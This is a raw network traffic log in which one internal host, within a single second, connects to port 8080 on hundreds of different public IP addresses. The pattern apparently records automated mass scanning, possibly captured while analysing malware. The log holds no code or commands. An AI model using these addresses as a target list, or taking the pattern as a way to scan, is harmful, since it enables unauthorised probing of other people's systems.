Feb 27, 2025 07:08:35.536273956 CET	25538	8080	192.168.2.14	95.238.52.107
Feb 27, 2025 07:08:35.536274910 CET	25538	8080	192.168.2.14	31.16.29.233
Feb 27, 2025 07:08:35.536314011 CET	25538	8080	192.168.2.14	94.103.178.52
Feb 27, 2025 07:08:35.536344051 CET	25538	8080	192.168.2.14	85.90.146.187
Feb 27, 2025 07:08:35.536344051 CET	25538	8080	192.168.2.14	62.68.18.99
Feb 27, 2025 07:08:35.536344051 CET	25538	8080	192.168.2.14	85.202.38.65
Feb 27, 2025 07:08:35.536345959 CET	25538	8080	192.168.2.14	31.177.39.198
Feb 27, 2025 07:08:35.536345959 CET	25538	8080	192.168.2.14	95.228.7.253
Feb 27, 2025 07:08:35.536346912 CET	25538	8080	192.168.2.14	85.26.252.97
Feb 27, 2025 07:08:35.536345959 CET	25538	8080	192.168.2.14	95.197.193.108
Feb 27, 2025 07:08:35.536346912 CET	25538	8080	192.168.2.14	94.144.77.91
Feb 27, 2025 07:08:35.536345959 CET	25538	8080	192.168.2.14	31.66.177.180
Feb 27, 2025 07:08:35.536346912 CET	25538	8080	192.168.2.14	62.162.217.212
Feb 27, 2025 07:08:35.536346912 CET	25538	8080	192.168.2.14	85.86.200.238
Feb 27, 2025 07:08:35.536350012 CET	25538	8080	192.168.2.14	85.227.93.193
Feb 27, 2025 07:08:35.536350012 CET	25538	8080	192.168.2.14	95.242.223.50
Feb 27, 2025 07:08:35.536350965 CET	25538	8080	192.168.2.14	31.42.96.165
Feb 27, 2025 07:08:35.536350012 CET	25538	8080	192.168.2.14	62.80.78.143
Feb 27, 2025 07:08:35.536353111 CET	25538	8080	192.168.2.14	94.231.180.59
Feb 27, 2025 07:08:35.536350012 CET	25538	8080	192.168.2.14	94.104.96.156
Feb 27, 2025 07:08:35.536353111 CET	25538	8080	192.168.2.14	62.162.239.229
Feb 27, 2025 07:08:35.536354065 CET	25538	8080	192.168.2.14	95.194.174.128
Feb 27, 2025 07:08:35.536354065 CET	25538	8080	192.168.2.14	62.222.192.99
Feb 27, 2025 07:08:35.536366940 CET	25538	8080	192.168.2.14	31.106.28.14
Feb 27, 2025 07:08:35.536366940 CET	25538	8080	192.168.2.14	95.137.3.145
Feb 27, 2025 07:08:35.536366940 CET	25538	8080	192.168.2.14	31.192.156.212
Feb 27, 2025 07:08:35.536366940 CET	42464	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:35.536375999 CET	25538	8080	192.168.2.14	31.118.85.225
Feb 27, 2025 07:08:35.536376953 CET	25538	8080	192.168.2.14	31.34.8.169
Feb 27, 2025 07:08:35.536375999 CET	25538	8080	192.168.2.14	31.21.33.201
Feb 27, 2025 07:08:35.536376953 CET	25538	8080	192.168.2.14	85.55.173.40
Feb 27, 2025 07:08:35.536376953 CET	25538	8080	192.168.2.14	31.249.88.128
Feb 27, 2025 07:08:35.536377907 CET	25538	8080	192.168.2.14	31.183.20.80
Feb 27, 2025 07:08:35.536377907 CET	25538	8080	192.168.2.14	62.64.116.52
Feb 27, 2025 07:08:35.536386967 CET	25538	8080	192.168.2.14	94.11.167.202
Feb 27, 2025 07:08:35.536389112 CET	25538	8080	192.168.2.14	94.247.103.133
Feb 27, 2025 07:08:35.536390066 CET	25538	8080	192.168.2.14	62.152.7.151
Feb 27, 2025 07:08:35.536390066 CET	25538	8080	192.168.2.14	94.221.110.252
Feb 27, 2025 07:08:35.536391020 CET	25538	8080	192.168.2.14	94.52.195.75
Feb 27, 2025 07:08:35.536391020 CET	25538	8080	192.168.2.14	31.132.21.98
Feb 27, 2025 07:08:35.536390066 CET	25538	8080	192.168.2.14	62.32.186.28
Feb 27, 2025 07:08:35.536391020 CET	25538	8080	192.168.2.14	85.54.174.56
Feb 27, 2025 07:08:35.536392927 CET	25538	8080	192.168.2.14	31.251.70.201
Feb 27, 2025 07:08:35.536391020 CET	25538	8080	192.168.2.14	62.71.254.119
Feb 27, 2025 07:08:35.536395073 CET	25538	8080	192.168.2.14	94.29.193.235
Feb 27, 2025 07:08:35.536392927 CET	25538	8080	192.168.2.14	85.30.186.142
Feb 27, 2025 07:08:35.536391020 CET	25538	8080	192.168.2.14	94.162.193.5
Feb 27, 2025 07:08:35.536395073 CET	25538	8080	192.168.2.14	95.131.217.114
Feb 27, 2025 07:08:35.536391020 CET	25538	8080	192.168.2.14	62.33.235.248
Feb 27, 2025 07:08:35.536401033 CET	25538	8080	192.168.2.14	62.240.106.83
Feb 27, 2025 07:08:35.536395073 CET	25538	8080	192.168.2.14	31.30.24.107
Feb 27, 2025 07:08:35.536401033 CET	25538	8080	192.168.2.14	95.53.44.235
Feb 27, 2025 07:08:35.536395073 CET	25538	8080	192.168.2.14	85.24.207.147
Feb 27, 2025 07:08:35.536395073 CET	25538	8080	192.168.2.14	94.245.186.144
Feb 27, 2025 07:08:35.536395073 CET	25538	8080	192.168.2.14	85.38.19.132
Feb 27, 2025 07:08:35.536395073 CET	25538	8080	192.168.2.14	31.37.103.181
Feb 27, 2025 07:08:35.536415100 CET	25538	8080	192.168.2.14	85.93.93.70
Feb 27, 2025 07:08:35.536415100 CET	25538	8080	192.168.2.14	85.248.62.97
Feb 27, 2025 07:08:35.536417961 CET	25538	8080	192.168.2.14	85.119.191.70
Feb 27, 2025 07:08:35.536417961 CET	25538	8080	192.168.2.14	31.168.70.137
Feb 27, 2025 07:08:35.536418915 CET	25538	8080	192.168.2.14	85.72.61.129
Feb 27, 2025 07:08:35.536422968 CET	25538	8080	192.168.2.14	31.156.143.5
Feb 27, 2025 07:08:35.536422968 CET	25538	8080	192.168.2.14	31.102.155.122
Feb 27, 2025 07:08:35.536422968 CET	25538	8080	192.168.2.14	94.8.58.89
Feb 27, 2025 07:08:35.536422968 CET	25538	8080	192.168.2.14	94.168.75.207
Feb 27, 2025 07:08:35.536422968 CET	25538	8080	192.168.2.14	85.148.72.69
Feb 27, 2025 07:08:35.536426067 CET	25538	8080	192.168.2.14	62.190.202.162
Feb 27, 2025 07:08:35.536426067 CET	25538	8080	192.168.2.14	95.175.92.181
Feb 27, 2025 07:08:35.536426067 CET	25538	8080	192.168.2.14	62.218.47.94
Feb 27, 2025 07:08:35.536426067 CET	25538	8080	192.168.2.14	95.175.98.161
Feb 27, 2025 07:08:35.536428928 CET	25538	8080	192.168.2.14	62.91.75.215
Feb 27, 2025 07:08:35.536428928 CET	25538	8080	192.168.2.14	94.10.3.21
Feb 27, 2025 07:08:35.536426067 CET	25538	8080	192.168.2.14	62.96.126.97
Feb 27, 2025 07:08:35.536434889 CET	25538	8080	192.168.2.14	62.131.182.226
Feb 27, 2025 07:08:35.536434889 CET	25538	8080	192.168.2.14	31.191.23.151
Feb 27, 2025 07:08:35.536439896 CET	25538	8080	192.168.2.14	62.178.25.167
Feb 27, 2025 07:08:35.536439896 CET	25538	8080	192.168.2.14	94.92.4.171
Feb 27, 2025 07:08:35.536439896 CET	25538	8080	192.168.2.14	31.199.111.92
Feb 27, 2025 07:08:35.536453962 CET	25538	8080	192.168.2.14	95.66.58.3
Feb 27, 2025 07:08:35.536454916 CET	25538	8080	192.168.2.14	94.233.142.149
Feb 27, 2025 07:08:35.536454916 CET	25538	8080	192.168.2.14	31.145.203.83
Feb 27, 2025 07:08:35.536456108 CET	25538	8080	192.168.2.14	85.164.13.88
Feb 27, 2025 07:08:35.536456108 CET	25538	8080	192.168.2.14	85.99.79.222
Feb 27, 2025 07:08:35.536458015 CET	25538	8080	192.168.2.14	85.207.163.122
Feb 27, 2025 07:08:35.536456108 CET	25538	8080	192.168.2.14	62.219.221.223
Feb 27, 2025 07:08:35.536458015 CET	25538	8080	192.168.2.14	62.93.196.230
Feb 27, 2025 07:08:35.536458015 CET	25538	8080	192.168.2.14	31.239.26.223
Feb 27, 2025 07:08:35.536458015 CET	25538	8080	192.168.2.14	62.15.61.149
Feb 27, 2025 07:08:35.536459923 CET	25538	8080	192.168.2.14	62.46.153.163
Feb 27, 2025 07:08:35.536461115 CET	25538	8080	192.168.2.14	31.203.157.67
Feb 27, 2025 07:08:35.536461115 CET	25538	8080	192.168.2.14	95.9.88.7
Feb 27, 2025 07:08:35.536474943 CET	25538	8080	192.168.2.14	95.43.234.239
Feb 27, 2025 07:08:35.536475897 CET	25538	8080	192.168.2.14	31.85.189.230
Feb 27, 2025 07:08:35.536475897 CET	25538	8080	192.168.2.14	62.206.157.45
Feb 27, 2025 07:08:35.536475897 CET	25538	8080	192.168.2.14	62.237.23.7
Feb 27, 2025 07:08:35.536475897 CET	25538	8080	192.168.2.14	85.13.43.142
Feb 27, 2025 07:08:35.536478996 CET	25538	8080	192.168.2.14	95.77.75.134
Feb 27, 2025 07:08:35.536478996 CET	25538	8080	192.168.2.14	95.255.22.11
Feb 27, 2025 07:08:35.536478996 CET	25538	8080	192.168.2.14	94.67.54.86
Feb 27, 2025 07:08:35.536478996 CET	25538	8080	192.168.2.14	85.206.6.44
Feb 27, 2025 07:08:35.536478996 CET	25538	8080	192.168.2.14	95.44.170.62
Feb 27, 2025 07:08:35.536479950 CET	25538	8080	192.168.2.14	31.159.13.51
Feb 27, 2025 07:08:35.536489964 CET	25538	8080	192.168.2.14	85.0.61.203
Feb 27, 2025 07:08:35.536489964 CET	25538	8080	192.168.2.14	94.141.20.203
Feb 27, 2025 07:08:35.536489964 CET	25538	8080	192.168.2.14	95.71.41.89
Feb 27, 2025 07:08:35.536493063 CET	25538	8080	192.168.2.14	95.107.93.207
Feb 27, 2025 07:08:35.536494970 CET	25538	8080	192.168.2.14	94.142.62.22
Feb 27, 2025 07:08:35.536497116 CET	25538	8080	192.168.2.14	94.17.99.244
Feb 27, 2025 07:08:35.536498070 CET	25538	8080	192.168.2.14	95.25.177.96
Feb 27, 2025 07:08:35.536498070 CET	25538	8080	192.168.2.14	95.214.110.241
Feb 27, 2025 07:08:35.536498070 CET	25538	8080	192.168.2.14	85.21.69.142
Feb 27, 2025 07:08:35.536503077 CET	25538	8080	192.168.2.14	31.48.101.109
Feb 27, 2025 07:08:35.536504030 CET	25538	8080	192.168.2.14	62.236.154.214
Feb 27, 2025 07:08:35.536504030 CET	25538	8080	192.168.2.14	62.172.71.98
Feb 27, 2025 07:08:35.536514044 CET	25538	8080	192.168.2.14	31.143.9.19
Feb 27, 2025 07:08:35.536514997 CET	25538	8080	192.168.2.14	95.211.252.68
Feb 27, 2025 07:08:35.536514044 CET	25538	8080	192.168.2.14	85.33.195.195
Feb 27, 2025 07:08:35.536518097 CET	25538	8080	192.168.2.14	94.136.223.242
Feb 27, 2025 07:08:35.536518097 CET	25538	8080	192.168.2.14	62.26.219.105
Feb 27, 2025 07:08:35.536518097 CET	25538	8080	192.168.2.14	31.196.142.144
Feb 27, 2025 07:08:35.536525965 CET	25538	8080	192.168.2.14	62.196.147.130
Feb 27, 2025 07:08:35.536530972 CET	25538	8080	192.168.2.14	94.162.120.159
Feb 27, 2025 07:08:35.536533117 CET	25538	8080	192.168.2.14	95.161.39.16
Feb 27, 2025 07:08:35.536550045 CET	25538	8080	192.168.2.14	31.225.123.101
Feb 27, 2025 07:08:35.536550999 CET	25538	8080	192.168.2.14	85.61.112.181
Feb 27, 2025 07:08:35.536551952 CET	25538	8080	192.168.2.14	94.29.241.229
Feb 27, 2025 07:08:35.536551952 CET	25538	8080	192.168.2.14	62.229.8.94
Feb 27, 2025 07:08:35.536564112 CET	25538	8080	192.168.2.14	62.255.176.30
Feb 27, 2025 07:08:35.536566019 CET	25538	8080	192.168.2.14	62.150.92.50
Feb 27, 2025 07:08:35.536565065 CET	25538	8080	192.168.2.14	31.72.68.86
Feb 27, 2025 07:08:35.536565065 CET	25538	8080	192.168.2.14	62.40.205.163
Feb 27, 2025 07:08:35.536566019 CET	25538	8080	192.168.2.14	85.45.224.185
Feb 27, 2025 07:08:35.536569118 CET	25538	8080	192.168.2.14	95.155.212.29
Feb 27, 2025 07:08:35.536566019 CET	25538	8080	192.168.2.14	95.161.120.160
Feb 27, 2025 07:08:35.536569118 CET	25538	8080	192.168.2.14	62.26.210.54
Feb 27, 2025 07:08:35.536578894 CET	25538	8080	192.168.2.14	94.118.6.75
Feb 27, 2025 07:08:35.536578894 CET	25538	8080	192.168.2.14	85.33.146.174
Feb 27, 2025 07:08:35.536578894 CET	25538	8080	192.168.2.14	85.222.127.251
Feb 27, 2025 07:08:35.536582947 CET	25538	8080	192.168.2.14	31.102.168.230
Feb 27, 2025 07:08:35.536583900 CET	25538	8080	192.168.2.14	94.133.165.46
Feb 27, 2025 07:08:35.536590099 CET	25538	8080	192.168.2.14	31.73.182.208
Feb 27, 2025 07:08:35.536592960 CET	25538	8080	192.168.2.14	62.132.40.182
Feb 27, 2025 07:08:35.536597967 CET	25538	8080	192.168.2.14	85.252.193.0
Feb 27, 2025 07:08:35.536597967 CET	25538	8080	192.168.2.14	94.44.200.204
Feb 27, 2025 07:08:35.536601067 CET	25538	8080	192.168.2.14	94.236.86.150
Feb 27, 2025 07:08:35.536601067 CET	25538	8080	192.168.2.14	85.185.26.50
Feb 27, 2025 07:08:35.536601067 CET	25538	8080	192.168.2.14	95.247.64.14
Feb 27, 2025 07:08:35.536601067 CET	25538	8080	192.168.2.14	94.57.14.72
Feb 27, 2025 07:08:35.536602020 CET	25538	8080	192.168.2.14	31.134.76.140
Feb 27, 2025 07:08:35.536604881 CET	25538	8080	192.168.2.14	94.22.196.148
Feb 27, 2025 07:08:35.536607981 CET	25538	8080	192.168.2.14	62.148.226.58
Feb 27, 2025 07:08:35.536607981 CET	25538	8080	192.168.2.14	85.245.36.152
Feb 27, 2025 07:08:35.536614895 CET	25538	8080	192.168.2.14	31.128.167.135
Feb 27, 2025 07:08:35.536621094 CET	25538	8080	192.168.2.14	94.175.188.206
Feb 27, 2025 07:08:35.536621094 CET	25538	8080	192.168.2.14	31.228.126.220
Feb 27, 2025 07:08:35.536621094 CET	25538	8080	192.168.2.14	62.35.160.160
Feb 27, 2025 07:08:35.536623955 CET	25538	8080	192.168.2.14	94.93.234.246
Feb 27, 2025 07:08:35.536626101 CET	25538	8080	192.168.2.14	85.108.176.175
Feb 27, 2025 07:08:35.536627054 CET	25538	8080	192.168.2.14	95.18.144.48
Feb 27, 2025 07:08:35.536628962 CET	25538	8080	192.168.2.14	95.244.14.116
Feb 27, 2025 07:08:35.536627054 CET	25538	8080	192.168.2.14	31.27.41.227
Feb 27, 2025 07:08:35.536628962 CET	25538	8080	192.168.2.14	31.73.220.238
Feb 27, 2025 07:08:35.536638975 CET	25538	8080	192.168.2.14	94.46.202.88
Feb 27, 2025 07:08:35.536663055 CET	25538	8080	192.168.2.14	62.160.130.162
Feb 27, 2025 07:08:35.536663055 CET	25538	8080	192.168.2.14	62.158.20.215
Feb 27, 2025 07:08:35.536670923 CET	25538	8080	192.168.2.14	85.203.32.122
Feb 27, 2025 07:08:35.536670923 CET	25538	8080	192.168.2.14	94.0.197.241
Feb 27, 2025 07:08:35.536670923 CET	25538	8080	192.168.2.14	62.175.1.69
Feb 27, 2025 07:08:35.536680937 CET	25538	8080	192.168.2.14	95.170.7.95
Feb 27, 2025 07:08:35.536694050 CET	25538	8080	192.168.2.14	85.118.89.255
Feb 27, 2025 07:08:35.536695004 CET	25538	8080	192.168.2.14	31.38.226.27
Feb 27, 2025 07:08:35.536700964 CET	25538	8080	192.168.2.14	85.142.74.229
Feb 27, 2025 07:08:35.536700964 CET	25538	8080	192.168.2.14	95.87.47.34
Feb 27, 2025 07:08:35.536706924 CET	25538	8080	192.168.2.14	94.118.2.67
Feb 27, 2025 07:08:35.536706924 CET	25538	8080	192.168.2.14	94.47.99.111
Feb 27, 2025 07:08:35.536706924 CET	25538	8080	192.168.2.14	94.13.79.187
Feb 27, 2025 07:08:35.536706924 CET	25538	8080	192.168.2.14	85.67.108.230
Feb 27, 2025 07:08:35.536706924 CET	25538	8080	192.168.2.14	62.136.24.179
Feb 27, 2025 07:08:35.536708117 CET	25538	8080	192.168.2.14	85.4.202.72
Feb 27, 2025 07:08:35.536719084 CET	25538	8080	192.168.2.14	95.162.155.199
Feb 27, 2025 07:08:35.536719084 CET	25538	8080	192.168.2.14	95.148.114.111
Feb 27, 2025 07:08:35.536719084 CET	25538	8080	192.168.2.14	85.90.105.236
Feb 27, 2025 07:08:35.536727905 CET	25538	8080	192.168.2.14	62.127.239.227
Feb 27, 2025 07:08:35.536734104 CET	25538	8080	192.168.2.14	94.106.68.83
Feb 27, 2025 07:08:35.536737919 CET	25538	8080	192.168.2.14	62.244.99.79
Feb 27, 2025 07:08:35.536737919 CET	25538	8080	192.168.2.14	85.90.224.163
Feb 27, 2025 07:08:35.536744118 CET	25538	8080	192.168.2.14	94.71.53.229
Feb 27, 2025 07:08:35.536746979 CET	25538	8080	192.168.2.14	62.164.71.37
Feb 27, 2025 07:08:35.536746979 CET	25538	8080	192.168.2.14	85.222.113.5
Feb 27, 2025 07:08:35.536746979 CET	25538	8080	192.168.2.14	31.110.152.221
Feb 27, 2025 07:08:35.536761999 CET	25538	8080	192.168.2.14	94.69.80.121
Feb 27, 2025 07:08:35.536766052 CET	25538	8080	192.168.2.14	85.7.88.30
Feb 27, 2025 07:08:35.536767960 CET	25538	8080	192.168.2.14	62.228.54.161
Feb 27, 2025 07:08:35.536773920 CET	25538	8080	192.168.2.14	31.6.221.58
Feb 27, 2025 07:08:35.536782026 CET	25538	8080	192.168.2.14	31.110.87.39
Feb 27, 2025 07:08:35.536788940 CET	25538	8080	192.168.2.14	85.214.24.4
Feb 27, 2025 07:08:35.536789894 CET	25538	8080	192.168.2.14	62.244.250.117
Feb 27, 2025 07:08:35.536792994 CET	25538	8080	192.168.2.14	62.162.166.67
Feb 27, 2025 07:08:35.536802053 CET	25538	8080	192.168.2.14	85.136.148.37
Feb 27, 2025 07:08:35.536802053 CET	25538	8080	192.168.2.14	85.38.92.68
Feb 27, 2025 07:08:35.536803007 CET	25538	8080	192.168.2.14	62.67.126.68
Feb 27, 2025 07:08:35.536808014 CET	25538	8080	192.168.2.14	95.81.7.64
Feb 27, 2025 07:08:35.536808014 CET	25538	8080	192.168.2.14	31.14.80.59
Feb 27, 2025 07:08:35.536809921 CET	25538	8080	192.168.2.14	85.24.138.253
Feb 27, 2025 07:08:35.536812067 CET	25538	8080	192.168.2.14	95.12.75.60
Feb 27, 2025 07:08:35.536819935 CET	25538	8080	192.168.2.14	62.118.220.213
Feb 27, 2025 07:08:35.536822081 CET	25538	8080	192.168.2.14	95.79.235.11
Feb 27, 2025 07:08:35.536844969 CET	25538	8080	192.168.2.14	95.77.57.36
Feb 27, 2025 07:08:35.536844969 CET	25538	8080	192.168.2.14	31.19.34.108
Feb 27, 2025 07:08:35.536845922 CET	25538	8080	192.168.2.14	85.110.178.203
Feb 27, 2025 07:08:35.536851883 CET	25538	8080	192.168.2.14	85.214.69.148
Feb 27, 2025 07:08:35.536854029 CET	25538	8080	192.168.2.14	95.30.90.109
Feb 27, 2025 07:08:35.536854029 CET	25538	8080	192.168.2.14	95.96.44.209
Feb 27, 2025 07:08:35.536858082 CET	25538	8080	192.168.2.14	95.164.182.154
Feb 27, 2025 07:08:35.536863089 CET	25538	8080	192.168.2.14	94.234.8.80
Feb 27, 2025 07:08:35.536863089 CET	25538	8080	192.168.2.14	94.138.211.36
Feb 27, 2025 07:08:35.536869049 CET	25538	8080	192.168.2.14	95.142.198.217
Feb 27, 2025 07:08:35.536870003 CET	25538	8080	192.168.2.14	95.70.14.168
Feb 27, 2025 07:08:35.536871910 CET	25538	8080	192.168.2.14	62.73.74.5
Feb 27, 2025 07:08:35.536871910 CET	25538	8080	192.168.2.14	95.29.246.78
Feb 27, 2025 07:08:35.536871910 CET	25538	8080	192.168.2.14	31.175.181.234
Feb 27, 2025 07:08:35.536890984 CET	25538	8080	192.168.2.14	95.122.235.44
Feb 27, 2025 07:08:35.536891937 CET	25538	8080	192.168.2.14	95.198.117.15
Feb 27, 2025 07:08:35.536896944 CET	25538	8080	192.168.2.14	94.43.181.106
Feb 27, 2025 07:08:35.536900043 CET	25538	8080	192.168.2.14	85.64.77.153
Feb 27, 2025 07:08:35.536901951 CET	25538	8080	192.168.2.14	94.94.188.147
Feb 27, 2025 07:08:35.536904097 CET	25538	8080	192.168.2.14	94.119.203.31
Feb 27, 2025 07:08:35.536907911 CET	25538	8080	192.168.2.14	31.127.113.0
Feb 27, 2025 07:08:35.536921024 CET	25538	8080	192.168.2.14	62.92.196.200
Feb 27, 2025 07:08:35.536921978 CET	25538	8080	192.168.2.14	95.104.165.128
Feb 27, 2025 07:08:35.536931038 CET	25538	8080	192.168.2.14	95.188.67.10
Feb 27, 2025 07:08:35.536936998 CET	25538	8080	192.168.2.14	62.39.86.12
Feb 27, 2025 07:08:35.536940098 CET	25538	8080	192.168.2.14	95.157.73.241
Feb 27, 2025 07:08:35.536942005 CET	25538	8080	192.168.2.14	31.174.134.180
Feb 27, 2025 07:08:35.536942005 CET	25538	8080	192.168.2.14	94.31.13.156
Feb 27, 2025 07:08:35.536942005 CET	25538	8080	192.168.2.14	31.138.34.71
Feb 27, 2025 07:08:35.536942959 CET	25538	8080	192.168.2.14	31.77.118.76
Feb 27, 2025 07:08:35.536942959 CET	25538	8080	192.168.2.14	62.158.116.252
Feb 27, 2025 07:08:35.536952972 CET	25538	8080	192.168.2.14	62.125.173.64
Feb 27, 2025 07:08:35.536952972 CET	25538	8080	192.168.2.14	31.29.49.251
Feb 27, 2025 07:08:35.536958933 CET	25538	8080	192.168.2.14	95.165.35.39
Feb 27, 2025 07:08:35.536958933 CET	25538	8080	192.168.2.14	31.60.161.144
Feb 27, 2025 07:08:35.536962032 CET	25538	8080	192.168.2.14	31.31.188.223
Feb 27, 2025 07:08:35.536962032 CET	25538	8080	192.168.2.14	94.151.125.243
Feb 27, 2025 07:08:35.536971092 CET	25538	8080	192.168.2.14	85.123.114.140
Feb 27, 2025 07:08:35.536971092 CET	25538	8080	192.168.2.14	95.139.174.251
Feb 27, 2025 07:08:35.536973000 CET	25538	8080	192.168.2.14	31.110.85.4
Feb 27, 2025 07:08:35.536978960 CET	25538	8080	192.168.2.14	31.76.168.178
Feb 27, 2025 07:08:35.536992073 CET	25538	8080	192.168.2.14	95.85.240.94
Feb 27, 2025 07:08:35.536992073 CET	25538	8080	192.168.2.14	62.121.193.254
Feb 27, 2025 07:08:35.537003040 CET	25538	8080	192.168.2.14	31.81.245.226
Feb 27, 2025 07:08:35.537003040 CET	25538	8080	192.168.2.14	85.82.106.9
Feb 27, 2025 07:08:35.537005901 CET	25538	8080	192.168.2.14	62.244.22.233
Feb 27, 2025 07:08:35.537007093 CET	25538	8080	192.168.2.14	94.41.28.42
Feb 27, 2025 07:08:35.537009954 CET	25538	8080	192.168.2.14	62.107.26.43
Feb 27, 2025 07:08:35.537014961 CET	25538	8080	192.168.2.14	95.116.133.23
Feb 27, 2025 07:08:35.537018061 CET	25538	8080	192.168.2.14	85.29.225.20
Feb 27, 2025 07:08:35.537025928 CET	25538	8080	192.168.2.14	95.106.69.214
Feb 27, 2025 07:08:35.537025928 CET	25538	8080	192.168.2.14	85.139.93.83
Feb 27, 2025 07:08:35.537029982 CET	25538	8080	192.168.2.14	95.0.237.12
Feb 27, 2025 07:08:35.537031889 CET	25538	8080	192.168.2.14	94.250.134.47
Feb 27, 2025 07:08:35.537035942 CET	25538	8080	192.168.2.14	85.29.119.129
Feb 27, 2025 07:08:35.537043095 CET	25538	8080	192.168.2.14	94.168.107.119
Feb 27, 2025 07:08:35.537044048 CET	25538	8080	192.168.2.14	95.220.61.139
Feb 27, 2025 07:08:35.537045956 CET	48178	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:35.537050009 CET	25538	8080	192.168.2.14	31.230.234.243
Feb 27, 2025 07:08:35.537050009 CET	25538	8080	192.168.2.14	94.140.132.154
Feb 27, 2025 07:08:35.537054062 CET	25538	8080	192.168.2.14	94.72.110.177
Feb 27, 2025 07:08:35.537053108 CET	25538	8080	192.168.2.14	95.240.144.211
Feb 27, 2025 07:08:35.537054062 CET	25538	8080	192.168.2.14	94.14.131.255
Feb 27, 2025 07:08:35.537056923 CET	25538	8080	192.168.2.14	62.58.234.147
Feb 27, 2025 07:08:35.537056923 CET	25538	8080	192.168.2.14	85.201.28.104
Feb 27, 2025 07:08:35.537061930 CET	25538	8080	192.168.2.14	31.56.232.131
Feb 27, 2025 07:08:35.537064075 CET	25538	8080	192.168.2.14	95.133.231.194
Feb 27, 2025 07:08:35.537064075 CET	25538	8080	192.168.2.14	85.190.253.19
Feb 27, 2025 07:08:35.537070036 CET	25538	8080	192.168.2.14	85.180.61.40
Feb 27, 2025 07:08:35.537081003 CET	25538	8080	192.168.2.14	31.107.227.89
Feb 27, 2025 07:08:35.537081003 CET	25538	8080	192.168.2.14	85.14.184.108
Feb 27, 2025 07:08:35.537081003 CET	25538	8080	192.168.2.14	95.184.198.172
Feb 27, 2025 07:08:35.537081003 CET	25538	8080	192.168.2.14	85.68.79.90
Feb 27, 2025 07:08:35.537089109 CET	25538	8080	192.168.2.14	62.14.148.111
Feb 27, 2025 07:08:35.537087917 CET	25538	8080	192.168.2.14	85.126.126.253
Feb 27, 2025 07:08:35.537087917 CET	25538	8080	192.168.2.14	94.9.229.27
Feb 27, 2025 07:08:35.537095070 CET	25538	8080	192.168.2.14	94.54.6.209
Feb 27, 2025 07:08:35.537105083 CET	25538	8080	192.168.2.14	94.210.227.103
Feb 27, 2025 07:08:35.537106037 CET	25538	8080	192.168.2.14	62.98.19.25
Feb 27, 2025 07:08:35.537110090 CET	25538	8080	192.168.2.14	94.76.98.229
Feb 27, 2025 07:08:35.537111044 CET	25538	8080	192.168.2.14	85.165.116.240
Feb 27, 2025 07:08:35.537111044 CET	25538	8080	192.168.2.14	62.17.167.46
Feb 27, 2025 07:08:35.537111044 CET	25538	8080	192.168.2.14	85.109.85.84
Feb 27, 2025 07:08:35.537117958 CET	25538	8080	192.168.2.14	85.54.181.216
Feb 27, 2025 07:08:35.537120104 CET	25538	8080	192.168.2.14	31.47.107.50
Feb 27, 2025 07:08:35.537131071 CET	25538	8080	192.168.2.14	62.175.112.121
Feb 27, 2025 07:08:35.537133932 CET	25538	8080	192.168.2.14	94.166.97.91
Feb 27, 2025 07:08:35.537151098 CET	25538	8080	192.168.2.14	31.64.89.231
Feb 27, 2025 07:08:35.537151098 CET	25538	8080	192.168.2.14	62.63.192.21
Feb 27, 2025 07:08:35.537151098 CET	25538	8080	192.168.2.14	31.50.59.35
Feb 27, 2025 07:08:35.537153006 CET	25538	8080	192.168.2.14	94.142.202.13
Feb 27, 2025 07:08:35.537157059 CET	25538	8080	192.168.2.14	95.16.212.139
Feb 27, 2025 07:08:35.537158012 CET	25538	8080	192.168.2.14	62.91.166.34
Feb 27, 2025 07:08:35.537158012 CET	25538	8080	192.168.2.14	95.133.9.243
Feb 27, 2025 07:08:35.537161112 CET	25538	8080	192.168.2.14	95.33.198.49
Feb 27, 2025 07:08:35.537161112 CET	25538	8080	192.168.2.14	31.196.243.6
Feb 27, 2025 07:08:35.537163973 CET	25538	8080	192.168.2.14	94.81.237.98
Feb 27, 2025 07:08:35.537163973 CET	25538	8080	192.168.2.14	62.137.175.10
Feb 27, 2025 07:08:35.537163973 CET	25538	8080	192.168.2.14	85.168.46.166
Feb 27, 2025 07:08:35.537168026 CET	25538	8080	192.168.2.14	62.99.70.65
Feb 27, 2025 07:08:35.537173033 CET	25538	8080	192.168.2.14	95.202.62.12
Feb 27, 2025 07:08:35.537173033 CET	25538	8080	192.168.2.14	31.147.16.15
Feb 27, 2025 07:08:35.537178040 CET	25538	8080	192.168.2.14	95.92.23.38
Feb 27, 2025 07:08:35.537187099 CET	25538	8080	192.168.2.14	94.14.130.33
Feb 27, 2025 07:08:35.537189007 CET	25538	8080	192.168.2.14	94.71.83.53
Feb 27, 2025 07:08:35.537195921 CET	25538	8080	192.168.2.14	62.243.204.217
Feb 27, 2025 07:08:35.537199974 CET	25538	8080	192.168.2.14	85.157.133.156
Feb 27, 2025 07:08:35.537199974 CET	25538	8080	192.168.2.14	95.20.80.166
Feb 27, 2025 07:08:35.537204027 CET	25538	8080	192.168.2.14	94.193.105.197
Feb 27, 2025 07:08:35.537209034 CET	25538	8080	192.168.2.14	94.21.114.95
Feb 27, 2025 07:08:35.537209034 CET	25538	8080	192.168.2.14	85.133.255.43
Feb 27, 2025 07:08:35.537210941 CET	25538	8080	192.168.2.14	31.227.57.55
Feb 27, 2025 07:08:35.537218094 CET	25538	8080	192.168.2.14	85.120.21.6
Feb 27, 2025 07:08:35.537224054 CET	25538	8080	192.168.2.14	62.20.233.41
Feb 27, 2025 07:08:35.537230015 CET	25538	8080	192.168.2.14	94.38.55.168
Feb 27, 2025 07:08:35.537230968 CET	25538	8080	192.168.2.14	62.27.61.0
Feb 27, 2025 07:08:35.537233114 CET	25538	8080	192.168.2.14	95.83.37.125
Feb 27, 2025 07:08:35.537233114 CET	25538	8080	192.168.2.14	31.238.134.224
Feb 27, 2025 07:08:35.537240028 CET	25538	8080	192.168.2.14	85.224.120.142
Feb 27, 2025 07:08:35.537241936 CET	25538	8080	192.168.2.14	62.251.152.72
Feb 27, 2025 07:08:35.537240028 CET	25538	8080	192.168.2.14	95.20.221.61
Feb 27, 2025 07:08:35.537241936 CET	25538	8080	192.168.2.14	94.61.237.202
Feb 27, 2025 07:08:35.537240028 CET	25538	8080	192.168.2.14	95.228.99.255
Feb 27, 2025 07:08:35.537247896 CET	25538	8080	192.168.2.14	85.158.82.85
Feb 27, 2025 07:08:35.537250042 CET	25538	8080	192.168.2.14	85.4.106.234
Feb 27, 2025 07:08:35.537251949 CET	25538	8080	192.168.2.14	31.33.13.192
